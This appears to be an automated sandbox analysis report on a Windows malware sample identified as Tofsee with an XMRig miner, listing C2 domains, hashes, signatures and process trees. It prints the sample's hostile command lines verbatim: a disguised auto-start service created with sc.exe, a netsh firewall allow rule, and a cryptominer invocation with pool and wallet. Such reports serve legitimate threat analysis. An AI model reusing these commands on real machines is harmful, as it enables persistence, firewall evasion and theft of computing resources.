Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2023, 05:54

General

  • Target
    file.exe
  • Size 195KB
  • Sample230122-glxnaafd62
  • SHA256 dcf7b4e92a244ada04d30d96aabae4b7f3ad8cb04a681b02e68d77512ef2da17
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mhhuxhik\
      2⤵
        PID:3424
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qxxbcmwh.exe" C:\Windows\SysWOW64\mhhuxhik\
        2⤵
          PID:4388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mhhuxhik binPath= "C:\Windows\SysWOW64\mhhuxhik\qxxbcmwh.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mhhuxhik "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mhhuxhik
          2⤵
          • Launches sc.exe
          PID:2204
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4704
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 600
          2⤵
          • Program crash
          PID:3176
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1032 -ip 1032
        1⤵
          PID:4484
        • C:\Windows\SysWOW64\mhhuxhik\qxxbcmwh.exe
          C:\Windows\SysWOW64\mhhuxhik\qxxbcmwh.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2060
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:316
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2200
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2060 -s 516
            2⤵
            • Program crash
            PID:724
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2060 -ip 2060
          1⤵
            PID:224

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                qxxbcmwh.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qxxbcmwh.exe
                • Size 12.7MB
                • SHA256 2ea81c9a4d9be945b04f3f68e7e28c0ea475b5cfe5ac230ce48c5150b6a91174
                • MD5 SHA1 SHA512 SSDEEP

                qxxbcmwh.exe

                • Path C:\Windows\SysWOW64\mhhuxhik\qxxbcmwh.exe
                • Size 12.7MB
                • SHA256 2ea81c9a4d9be945b04f3f68e7e28c0ea475b5cfe5ac230ce48c5150b6a91174
                • MD5 SHA1 SHA512 SSDEEP

                memory/316-159-0x0000000001940000-0x0000000001950000-memory.dmp

                memory/316-165-0x0000000007180000-0x000000000758B000-memory.dmp

                memory/316-162-0x00000000019D0000-0x00000000019D5000-memory.dmp

                memory/316-146-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/316-153-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/316-152-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/316-151-0x00000000003B0000-0x00000000003C5000-memory.dmp

                memory/316-156-0x0000000001930000-0x0000000001936000-memory.dmp

                memory/316-168-0x00000000019E0000-0x00000000019E7000-memory.dmp

                memory/1032-132-0x0000000002DF0000-0x0000000002E03000-memory.dmp

                memory/1032-135-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/1032-143-0x0000000002DF0000-0x0000000002E03000-memory.dmp

                memory/1032-133-0x00000000048D0000-0x00000000048E3000-memory.dmp

                memory/1032-144-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/2060-149-0x0000000002D0A000-0x0000000002D1D000-memory.dmp

                memory/2060-150-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/2200-177-0x00000000010E0000-0x00000000011D1000-memory.dmp

                memory/2200-172-0x00000000010E0000-0x00000000011D1000-memory.dmp